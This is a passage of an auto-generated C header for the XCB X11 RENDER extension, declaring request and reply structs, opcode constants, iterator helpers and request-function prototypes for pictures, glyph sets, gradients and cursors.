xcb_render_query_pict_index_values_cookie_t; /** Opcode for xcb_render_query_pict_index_values. */ #define XCB_RENDER_QUERY_PICT_INDEX_VALUES 2 /** * @brief xcb_render_query_pict_index_values_request_t **/ typedef struct xcb_render_query_pict_index_values_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_pictformat_t format; } xcb_render_query_pict_index_values_request_t; /** * @brief xcb_render_query_pict_index_values_reply_t **/ typedef struct xcb_render_query_pict_index_values_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t num_values; uint8_t pad1[20]; } xcb_render_query_pict_index_values_reply_t; /** * @brief xcb_render_create_picture_value_list_t **/ typedef struct xcb_render_create_picture_value_list_t { uint32_t repeat; xcb_render_picture_t alphamap; int32_t alphaxorigin; int32_t alphayorigin; int32_t clipxorigin; int32_t clipyorigin; xcb_pixmap_t clipmask; uint32_t graphicsexposure; uint32_t subwindowmode; uint32_t polyedge; uint32_t polymode; xcb_atom_t dither; uint32_t componentalpha; } xcb_render_create_picture_value_list_t; /** Opcode for xcb_render_create_picture. */ #define XCB_RENDER_CREATE_PICTURE 4 /** * @brief xcb_render_create_picture_request_t **/ typedef struct xcb_render_create_picture_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_picture_t pid; xcb_drawable_t drawable; xcb_render_pictformat_t format; uint32_t value_mask; } xcb_render_create_picture_request_t; /** * @brief xcb_render_change_picture_value_list_t **/ typedef struct xcb_render_change_picture_value_list_t { uint32_t repeat; xcb_render_picture_t alphamap; int32_t alphaxorigin; int32_t alphayorigin; int32_t clipxorigin; int32_t clipyorigin; xcb_pixmap_t clipmask; uint32_t graphicsexposure; uint32_t subwindowmode; uint32_t polyedge; uint32_t polymode; xcb_atom_t dither; uint32_t componentalpha; } xcb_render_change_picture_value_list_t; /** Opcode for xcb_render_change_picture. */ #define XCB_RENDER_CHANGE_PICTURE 5 /** * @brief xcb_render_change_picture_request_t **/ typedef struct xcb_render_change_picture_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_picture_t picture; uint32_t value_mask; } xcb_render_change_picture_request_t; /** Opcode for xcb_render_set_picture_clip_rectangles. */ #define XCB_RENDER_SET_PICTURE_CLIP_RECTANGLES 6 /** * @brief xcb_render_set_picture_clip_rectangles_request_t **/ typedef struct xcb_render_set_picture_clip_rectangles_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_picture_t picture; int16_t clip_x_origin; int16_t clip_y_origin; } xcb_render_set_picture_clip_rectangles_request_t; /** Opcode for xcb_render_free_picture. */ #define XCB_RENDER_FREE_PICTURE 7 /** * @brief xcb_render_free_picture_request_t **/ typedef struct xcb_render_free_picture_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_picture_t picture; } xcb_render_free_picture_request_t; /** Opcode for xcb_render_composite. */ #define XCB_RENDER_COMPOSITE 8 /** * @brief xcb_render_composite_request_t **/ typedef struct xcb_render_composite_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t op; uint8_t pad0[3]; xcb_render_picture_t src; xcb_render_picture_t mask; xcb_render_picture_t dst; int16_t src_x; int16_t src_y; int16_t mask_x; int16_t mask_y; int16_t dst_x; int16_t dst_y; uint16_t width; uint16_t height; } xcb_render_composite_request_t; /** Opcode for xcb_render_trapezoids. */ #define XCB_RENDER_TRAPEZOIDS 10 /** * @brief xcb_render_trapezoids_request_t **/ typedef struct xcb_render_trapezoids_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t op; uint8_t pad0[3]; xcb_render_picture_t src; xcb_render_picture_t dst; xcb_render_pictformat_t mask_format; int16_t src_x; int16_t src_y; } xcb_render_trapezoids_request_t; /** Opcode for xcb_render_triangles. */ #define XCB_RENDER_TRIANGLES 11 /** * @brief xcb_render_triangles_request_t **/ typedef struct xcb_render_triangles_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t op; uint8_t pad0[3]; xcb_render_picture_t src; xcb_render_picture_t dst; xcb_render_pictformat_t mask_format; int16_t src_x; int16_t src_y; } xcb_render_triangles_request_t; /** Opcode for xcb_render_tri_strip. */ #define XCB_RENDER_TRI_STRIP 12 /** * @brief xcb_render_tri_strip_request_t **/ typedef struct xcb_render_tri_strip_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t op; uint8_t pad0[3]; xcb_render_picture_t src; xcb_render_picture_t dst; xcb_render_pictformat_t mask_format; int16_t src_x; int16_t src_y; } xcb_render_tri_strip_request_t; /** Opcode for xcb_render_tri_fan. */ #define XCB_RENDER_TRI_FAN 13 /** * @brief xcb_render_tri_fan_request_t **/ typedef struct xcb_render_tri_fan_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t op; uint8_t pad0[3]; xcb_render_picture_t src; xcb_render_picture_t dst; xcb_render_pictformat_t mask_format; int16_t src_x; int16_t src_y; } xcb_render_tri_fan_request_t; /** Opcode for xcb_render_create_glyph_set. */ #define XCB_RENDER_CREATE_GLYPH_SET 17 /** * @brief xcb_render_create_glyph_set_request_t **/ typedef struct xcb_render_create_glyph_set_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_glyphset_t gsid; xcb_render_pictformat_t format; } xcb_render_create_glyph_set_request_t; /** Opcode for xcb_render_reference_glyph_set. */ #define XCB_RENDER_REFERENCE_GLYPH_SET 18 /** * @brief xcb_render_reference_glyph_set_request_t **/ typedef struct xcb_render_reference_glyph_set_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_glyphset_t gsid; xcb_render_glyphset_t existing; } xcb_render_reference_glyph_set_request_t; /** Opcode for xcb_render_free_glyph_set. */ #define XCB_RENDER_FREE_GLYPH_SET 19 /** * @brief xcb_render_free_glyph_set_request_t **/ typedef struct xcb_render_free_glyph_set_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_glyphset_t glyphset; } xcb_render_free_glyph_set_request_t; /** Opcode for xcb_render_add_glyphs. */ #define XCB_RENDER_ADD_GLYPHS 20 /** * @brief xcb_render_add_glyphs_request_t **/ typedef struct xcb_render_add_glyphs_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_glyphset_t glyphset; uint32_t glyphs_len; } xcb_render_add_glyphs_request_t; /** Opcode for xcb_render_free_glyphs. */ #define XCB_RENDER_FREE_GLYPHS 22 /** * @brief xcb_render_free_glyphs_request_t **/ typedef struct xcb_render_free_glyphs_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_glyphset_t glyphset; } xcb_render_free_glyphs_request_t; /** Opcode for xcb_render_composite_glyphs_8. */ #define XCB_RENDER_COMPOSITE_GLYPHS_8 23 /** * @brief xcb_render_composite_glyphs_8_request_t **/ typedef struct xcb_render_composite_glyphs_8_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t op; uint8_t pad0[3]; xcb_render_picture_t src; xcb_render_picture_t dst; xcb_render_pictformat_t mask_format; xcb_render_glyphset_t glyphset; int16_t src_x; int16_t src_y; } xcb_render_composite_glyphs_8_request_t; /** Opcode for xcb_render_composite_glyphs_16. */ #define XCB_RENDER_COMPOSITE_GLYPHS_16 24 /** * @brief xcb_render_composite_glyphs_16_request_t **/ typedef struct xcb_render_composite_glyphs_16_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t op; uint8_t pad0[3]; xcb_render_picture_t src; xcb_render_picture_t dst; xcb_render_pictformat_t mask_format; xcb_render_glyphset_t glyphset; int16_t src_x; int16_t src_y; } xcb_render_composite_glyphs_16_request_t; /** Opcode for xcb_render_composite_glyphs_32. */ #define XCB_RENDER_COMPOSITE_GLYPHS_32 25 /** * @brief xcb_render_composite_glyphs_32_request_t **/ typedef struct xcb_render_composite_glyphs_32_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t op; uint8_t pad0[3]; xcb_render_picture_t src; xcb_render_picture_t dst; xcb_render_pictformat_t mask_format; xcb_render_glyphset_t glyphset; int16_t src_x; int16_t src_y; } xcb_render_composite_glyphs_32_request_t; /** Opcode for xcb_render_fill_rectangles. */ #define XCB_RENDER_FILL_RECTANGLES 26 /** * @brief xcb_render_fill_rectangles_request_t **/ typedef struct xcb_render_fill_rectangles_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t op; uint8_t pad0[3]; xcb_render_picture_t dst; xcb_render_color_t color; } xcb_render_fill_rectangles_request_t; /** Opcode for xcb_render_create_cursor. */ #define XCB_RENDER_CREATE_CURSOR 27 /** * @brief xcb_render_create_cursor_request_t **/ typedef struct xcb_render_create_cursor_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_cursor_t cid; xcb_render_picture_t source; uint16_t x; uint16_t y; } xcb_render_create_cursor_request_t; /** * @brief xcb_render_transform_t **/ typedef struct xcb_render_transform_t { xcb_render_fixed_t matrix11; xcb_render_fixed_t matrix12; xcb_render_fixed_t matrix13; xcb_render_fixed_t matrix21; xcb_render_fixed_t matrix22; xcb_render_fixed_t matrix23; xcb_render_fixed_t matrix31; xcb_render_fixed_t matrix32; xcb_render_fixed_t matrix33; } xcb_render_transform_t; /** * @brief xcb_render_transform_iterator_t **/ typedef struct xcb_render_transform_iterator_t { xcb_render_transform_t *data; int rem; int index; } xcb_render_transform_iterator_t; /** Opcode for xcb_render_set_picture_transform. */ #define XCB_RENDER_SET_PICTURE_TRANSFORM 28 /** * @brief xcb_render_set_picture_transform_request_t **/ typedef struct xcb_render_set_picture_transform_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_picture_t picture; xcb_render_transform_t transform; } xcb_render_set_picture_transform_request_t; /** * @brief xcb_render_query_filters_cookie_t **/ typedef struct xcb_render_query_filters_cookie_t { unsigned int sequence; } xcb_render_query_filters_cookie_t; /** Opcode for xcb_render_query_filters. */ #define XCB_RENDER_QUERY_FILTERS 29 /** * @brief xcb_render_query_filters_request_t **/ typedef struct xcb_render_query_filters_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_drawable_t drawable; } xcb_render_query_filters_request_t; /** * @brief xcb_render_query_filters_reply_t **/ typedef struct xcb_render_query_filters_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t num_aliases; uint32_t num_filters; uint8_t pad1[16]; } xcb_render_query_filters_reply_t; /** Opcode for xcb_render_set_picture_filter. */ #define XCB_RENDER_SET_PICTURE_FILTER 30 /** * @brief xcb_render_set_picture_filter_request_t **/ typedef struct xcb_render_set_picture_filter_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_picture_t picture; uint16_t filter_len; uint8_t pad0[2]; } xcb_render_set_picture_filter_request_t; /** * @brief xcb_render_animcursorelt_t **/ typedef struct xcb_render_animcursorelt_t { xcb_cursor_t cursor; uint32_t delay; } xcb_render_animcursorelt_t; /** * @brief xcb_render_animcursorelt_iterator_t **/ typedef struct xcb_render_animcursorelt_iterator_t { xcb_render_animcursorelt_t *data; int rem; int index; } xcb_render_animcursorelt_iterator_t; /** Opcode for xcb_render_create_anim_cursor. */ #define XCB_RENDER_CREATE_ANIM_CURSOR 31 /** * @brief xcb_render_create_anim_cursor_request_t **/ typedef struct xcb_render_create_anim_cursor_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_cursor_t cid; } xcb_render_create_anim_cursor_request_t; /** * @brief xcb_render_spanfix_t **/ typedef struct xcb_render_spanfix_t { xcb_render_fixed_t l; xcb_render_fixed_t r; xcb_render_fixed_t y; } xcb_render_spanfix_t; /** * @brief xcb_render_spanfix_iterator_t **/ typedef struct xcb_render_spanfix_iterator_t { xcb_render_spanfix_t *data; int rem; int index; } xcb_render_spanfix_iterator_t; /** * @brief xcb_render_trap_t **/ typedef struct xcb_render_trap_t { xcb_render_spanfix_t top; xcb_render_spanfix_t bot; } xcb_render_trap_t; /** * @brief xcb_render_trap_iterator_t **/ typedef struct xcb_render_trap_iterator_t { xcb_render_trap_t *data; int rem; int index; } xcb_render_trap_iterator_t; /** Opcode for xcb_render_add_traps. */ #define XCB_RENDER_ADD_TRAPS 32 /** * @brief xcb_render_add_traps_request_t **/ typedef struct xcb_render_add_traps_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_picture_t picture; int16_t x_off; int16_t y_off; } xcb_render_add_traps_request_t; /** Opcode for xcb_render_create_solid_fill. */ #define XCB_RENDER_CREATE_SOLID_FILL 33 /** * @brief xcb_render_create_solid_fill_request_t **/ typedef struct xcb_render_create_solid_fill_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_picture_t picture; xcb_render_color_t color; } xcb_render_create_solid_fill_request_t; /** Opcode for xcb_render_create_linear_gradient. */ #define XCB_RENDER_CREATE_LINEAR_GRADIENT 34 /** * @brief xcb_render_create_linear_gradient_request_t **/ typedef struct xcb_render_create_linear_gradient_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_picture_t picture; xcb_render_pointfix_t p1; xcb_render_pointfix_t p2; uint32_t num_stops; } xcb_render_create_linear_gradient_request_t; /** Opcode for xcb_render_create_radial_gradient. */ #define XCB_RENDER_CREATE_RADIAL_GRADIENT 35 /** * @brief xcb_render_create_radial_gradient_request_t **/ typedef struct xcb_render_create_radial_gradient_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_picture_t picture; xcb_render_pointfix_t inner; xcb_render_pointfix_t outer; xcb_render_fixed_t inner_radius; xcb_render_fixed_t outer_radius; uint32_t num_stops; } xcb_render_create_radial_gradient_request_t; /** Opcode for xcb_render_create_conical_gradient. */ #define XCB_RENDER_CREATE_CONICAL_GRADIENT 36 /** * @brief xcb_render_create_conical_gradient_request_t **/ typedef struct xcb_render_create_conical_gradient_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_render_picture_t picture; xcb_render_pointfix_t center; xcb_render_fixed_t angle; uint32_t num_stops; } xcb_render_create_conical_gradient_request_t; /** * Get the next element of the iterator * @param i Pointer to a xcb_render_glyph_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_glyph_t) */ void xcb_render_glyph_next (xcb_render_glyph_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_glyph_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_glyph_end (xcb_render_glyph_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_glyphset_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_glyphset_t) */ void xcb_render_glyphset_next (xcb_render_glyphset_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_glyphset_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_glyphset_end (xcb_render_glyphset_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_picture_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_picture_t) */ void xcb_render_picture_next (xcb_render_picture_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_picture_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_picture_end (xcb_render_picture_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_pictformat_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_pictformat_t) */ void xcb_render_pictformat_next (xcb_render_pictformat_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_pictformat_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_pictformat_end (xcb_render_pictformat_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_fixed_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_fixed_t) */ void xcb_render_fixed_next (xcb_render_fixed_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_fixed_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_fixed_end (xcb_render_fixed_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_directformat_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_directformat_t) */ void xcb_render_directformat_next (xcb_render_directformat_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_directformat_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_directformat_end (xcb_render_directformat_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_pictforminfo_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_pictforminfo_t) */ void xcb_render_pictforminfo_next (xcb_render_pictforminfo_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_pictforminfo_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_pictforminfo_end (xcb_render_pictforminfo_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_pictvisual_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_pictvisual_t) */ void xcb_render_pictvisual_next (xcb_render_pictvisual_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_pictvisual_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_pictvisual_end (xcb_render_pictvisual_iterator_t i); int xcb_render_pictdepth_sizeof (const void *_buffer); xcb_render_pictvisual_t * xcb_render_pictdepth_visuals (const xcb_render_pictdepth_t *R); int xcb_render_pictdepth_visuals_length (const xcb_render_pictdepth_t *R); xcb_render_pictvisual_iterator_t xcb_render_pictdepth_visuals_iterator (const xcb_render_pictdepth_t *R); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_pictdepth_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_pictdepth_t) */ void xcb_render_pictdepth_next (xcb_render_pictdepth_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_pictdepth_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_pictdepth_end (xcb_render_pictdepth_iterator_t i); int xcb_render_pictscreen_sizeof (const void *_buffer); int xcb_render_pictscreen_depths_length (const xcb_render_pictscreen_t *R); xcb_render_pictdepth_iterator_t xcb_render_pictscreen_depths_iterator (const xcb_render_pictscreen_t *R); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_pictscreen_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_pictscreen_t) */ void xcb_render_pictscreen_next (xcb_render_pictscreen_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_pictscreen_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_pictscreen_end (xcb_render_pictscreen_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_indexvalue_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_indexvalue_t) */ void xcb_render_indexvalue_next (xcb_render_indexvalue_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_indexvalue_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_indexvalue_end (xcb_render_indexvalue_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_color_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_color_t) */ void xcb_render_color_next (xcb_render_color_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_color_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_color_end (xcb_render_color_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_pointfix_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_pointfix_t) */ void xcb_render_pointfix_next (xcb_render_pointfix_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_pointfix_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_pointfix_end (xcb_render_pointfix_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_linefix_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_linefix_t) */ void xcb_render_linefix_next (xcb_render_linefix_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_linefix_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_linefix_end (xcb_render_linefix_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_triangle_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_triangle_t) */ void xcb_render_triangle_next (xcb_render_triangle_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_triangle_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_triangle_end (xcb_render_triangle_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_trapezoid_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_trapezoid_t) */ void xcb_render_trapezoid_next (xcb_render_trapezoid_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_trapezoid_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_trapezoid_end (xcb_render_trapezoid_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_render_glyphinfo_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_render_glyphinfo_t) */ void xcb_render_glyphinfo_next (xcb_render_glyphinfo_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_render_glyphinfo_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_render_glyphinfo_end (xcb_render_glyphinfo_iterator_t i); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_render_query_version_cookie_t xcb_render_query_version (xcb_connection_t *c, uint32_t client_major_version, uint32_t client_minor_version); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_render_query_version_cookie_t xcb_render_query_version_unchecked (xcb_connection_t *c, uint32_t client_major_version, uint32_t client_minor_version); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_render_query_version_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_render_query_version_reply_t * xcb_render_query_version_reply (xcb_connection_t *c, xcb_render_query_version_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_render_query_pict_formats_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_render_query_pict_formats_cookie_t xcb_render_query_pict_formats (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_render_query_pict_formats_cookie_t xcb_render_query_pict_formats_unchecked (xcb_connection_t *c); xcb_render_pictforminfo_t * xcb_render_query_pict_formats_formats (const xcb_render_query_pict_formats_reply_t *R); int xcb_render_query_pict_formats_formats_length (const xcb_render_query_pict_formats_reply_t *R); xcb_render_pictforminfo_iterator_t xcb_render_query_pict_formats_formats_iterator (const xcb_render_query_pict_formats_reply_t *R); int xcb_render_query_pict_formats_screens_length (const xcb_render_query_pict_formats_reply_t *R); xcb_render_pictscreen_iterator_t xcb_render_query_pict_formats_screens_iterator (const xcb_render_query_pict_formats_reply_t *R); uint32_t * xcb_render_query_pict_formats_subpixels (const xcb_render_query_pict_formats_reply_t *R); int xcb_render_query_pict_formats_subpixels_length (const xcb_render_query_pict_formats_reply_t *R); xcb_generic_iterator_t xcb_render_query_pict_formats_subpixels_end (const xcb_render_query_pict_formats_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_render_query_pict_formats_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_render_query_pict_formats_reply_t * xcb_render_query_pict_formats_reply (xcb_connection_t *c, xcb_render_query_pict_formats_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_render_query_pict_index_values_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_render_query_pict_index_values_cookie_t xcb_render_query_pict_index_values (xcb_connection_t *c, xcb_render_pictformat_t format); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_render_query_pict_index_values_cookie_t xcb_render_query_pict_index_values_unchecked (xcb_connection_t *c, xcb_render_pictformat_t format); xcb_render_indexvalue_t * xcb_render_query_pict_index_values_values (const xcb_render_query_pict_index_values_reply_t *R); int xcb_render_query_pict_index_values_values_length (const xcb_render_query_pict_index_values_reply_t *R); xcb_render_indexvalue_iterator_t xcb_render_query_pict_index_values_values_iterator (const xcb_render_query_pict_index_values_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_render_query_pict_index_values_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_render_query_pict_index_values_reply_t * xcb_render_query_pict_index_values_reply (xcb_connection_t *c, xcb_render_query_pict_index_values_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_render_create_picture_value_list_serialize (void **_buffer, uint32_t value_mask, const xcb_render_create_picture_value_list_t *_aux); int xcb_render_create_picture_value_list_unpack (const void *_buffer, uint32_t value_mask, xcb_render_create_picture_value_list_t *_aux); int xcb_render_create_picture_value_list_sizeof (const void *_buffer, uint32_t value_mask); int xcb_render_create_picture_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_create_picture_checked (xcb_connection_t *c, xcb_render_picture_t pid, xcb_drawable_t drawable, xcb_render_pictformat_t format, uint32_t value_mask, const void *value_list); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_create_picture (xcb_connection_t *c, xcb_render_picture_t pid, xcb_drawable_t drawable, xcb_render_pictformat_t format, uint32_t value_mask, const void *value_list); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_render_create_picture_aux_checked (xcb_connection_t *c, xcb_render_picture_t pid, xcb_drawable_t drawable, xcb_render_pictformat_t format, uint32_t value_mask, const xcb_render_create_picture_value_list_t *value_list); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_render_create_picture_aux (xcb_connection_t *c, xcb_render_picture_t pid, xcb_drawable_t drawable, xcb_render_pictformat_t format, uint32_t value_mask, const xcb_render_create_picture_value_list_t *value_list); void * xcb_render_create_picture_value_list (const xcb_render_create_picture_request_t *R); int xcb_render_change_picture_value_list_serialize (void **_buffer, uint32_t value_mask, const xcb_render_change_picture_value_list_t *_aux); int xcb_render_change_picture_value_list_unpack (const void *_buffer, uint32_t value_mask, xcb_render_change_picture_value_list_t *_aux); int xcb_render_change_picture_value_list_sizeof (const void *_buffer, uint32_t value_mask); int xcb_render_change_picture_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any 